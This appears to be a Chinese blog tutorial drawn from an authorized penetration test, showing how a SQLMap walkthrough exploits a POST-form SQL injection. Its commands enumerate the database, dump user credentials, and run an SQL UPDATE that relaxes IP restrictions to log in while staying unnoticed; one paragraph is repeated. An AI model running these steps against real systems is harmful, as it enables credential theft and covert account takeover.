隨意入侵別人的電腦是有罪的,本篇所述作為可能觸犯刑法第36章 妨害電腦使用罪 第358條到第361條,幸好本次作業是經高層主管核可的滲透測試,為了讓讀者明白系統存在SQL Injection有多可怕,特將測試過程中,有關SQL Injection入侵的結果與大家分享,千萬不要拿這種技巧進行非法入侵,否則後果自負!
SQLMap 是一套可以用來測試 SQL Injection並利用此漏洞的強大工具,當系統存在SQL Injection時,大都(不是全部哦!)可利用 SQLMap取得機敏資料,底下是SQLMap的操作步驟:
註:基於保密原則,涉及特定的系統資料會適當隱蔽!
一、 post與get 對 SQLMap的差異
網路上許多教SQLMap的教學資料是以 get 的方式提交資料,因為用 get 的方式比較單純,易於講解,但現在網頁的寫作越來越注重安全,設計師都知道在關鍵網頁要使用 post 方式提交資料,SQLMap 的 get 提交方式對 post 網頁起不了作用,所以必須針對採用 post 提交的網頁事先預做處理,才能透過 SQLMap 來進行滲透。
get 的提交方式,欄位及其值直接於 URL 輸入,只要一串文字即可進行SQLMap滲透(如下例)
sqlmap -u "http://URL/PAGE?cityid=2&m=1" -p "cityid" -v 5
可是 post 的提交是透過網頁的 <form></form>區段,首先利用 LocalProxy(如OWZAP、WebScarab)攔截對有漏洞網頁的提交,然後將 Request Header 的資料存成文字檔。這個文字檔就是要提交的 form 內容。而 SQLMap 的語法也改成:
sqlmap -r 文字檔路徑檔名 -v 5
sqlmap -u "http://URL/PAGE?cityid=2&m=1" -p "cityid" -v 5
可是 post 的提交是透過網頁的 <form></form>區段,首先利用 LocalProxy(如OWZAP、WebScarab)攔截對有漏洞網頁的提交,然後將 Request Header 的資料存成文字檔。這個文字檔就是要提交的 form 內容。而 SQLMap 的語法也改成:
sqlmap -r 文字檔路徑檔名 -v 5
二、發現漏洞
利用 SQL Injection 進行滲透,當然就是要先找到漏洞所在,恰巧這個系統存在一個(還真只找到這一個),檢視其原始碼,它是利用 post 提交,而提交的對象是自身,所以我們就將它的 Request Header存成文字檔(DsdXMLQuery.RAW)
手動測試發現有SQL Injection漏洞
查看原始碼,發現 Action 的對象是自身,而有漏洞的欄位是「htx_sTitle」
將此網頁的 Requeest Header儲成文字檔(DsdXMLQuery.raw)
三、利用SQLMap 進行滲透
首先用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" ,讓 SQLMap 測試 DB Server 的環境資訊
-r 是指定 Request Header 的來源檔
-p 是指定有SQL Injection 的欄位,如果要測試多個欄位,可以用 , 分隔,例如: -p "fd1,fd2" ,多欄位時,記得要用 " " 括起來!
發現作業系統、資料庫系統 及網站系統資訊
利用:sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 5 --current-user 查得連線資料庫的使用者是 「????user」(因為使用者名稱會洩漏受測機關,所以用????代替)
利用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" --users -v 0 查詢 DBMS 可能的使用者資料,得知僅建立兩名使用者 sa 與 ????user
利用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 --dbs 查詢可能的資料庫,其中 Eservice98 與 ????EPP 是使用者建立的資料庫,經多次測試結果,確定本系統是使用 ????EPP 這個資料庫。
針對 ????EPP 資料庫,利用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 -D ????EPP --tables,測得共有 148 個 資料表,其中有一個資料表 InfoUserA ,研判應是使用者帳密資料表(其實之前我已先後測了 Account, Member,但表中都沒有資料),可是用 SQLMap 測試,卻都沒有資料回應,後來猜想是不是 SQLMap弄錯名稱,所以改用 InfoUser 再測,終於發現這是使用者資訊檔!
註:SQLMap 猜測的資料表名稱,有時會錯,所以不是測到的就都是可用的
找到 148 個資料表
緊接著用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 -D ????EPP -T InfoUser --columns -v 1 找出 InfoUser 的欄位組成(截圖略)
再來用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 -D ????EPP -T InfoUser -C "UserId,UserType,Password" --dump -v 1 將資料表中的 UserId, UserType, Password 三個欄位資料傾印出來,共有1388筆。
由於密碼是設計者自創的加密方式,太容易破解了,所以將部分內容予以隱蔽!
到這裡,已取得使用者資訊,但還必須去猜測管理員帳號,由於猜測管理員不是 SQLMap 的工作,請讀者自行從帳號裡去找!
不過像這樣傾印所有使用者的做法,耗費太多時間(我花了2天才猜到40幾筆),通常我會試著找有沒有 %adm% 或 %sys% 或 %super% 或 %mgr% 或 %manag% 的帳號!
四、後記
在嘗試利用找到的帳號登入時,發現部分帳號是有鎖IP 的,這時候就可以利用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -D ????EPP --sql-query "UPDATE InforUser Set NetMask3=0, NetMask4=0 Where userid='sysopp1';" 將 IP 限制的範圍放寬(當然也可以將 IP 改成滲透的那台電腦,只是這樣管理員就無法登入,入侵行為很快就會被發現!
雖然取得帳密,但帳號有鎖IP,還是進不去
將 NetMask3, NetMask4 改成 0,放寬限制的區段
放寬後,再重新嘗試登入 ,已可成功登入了!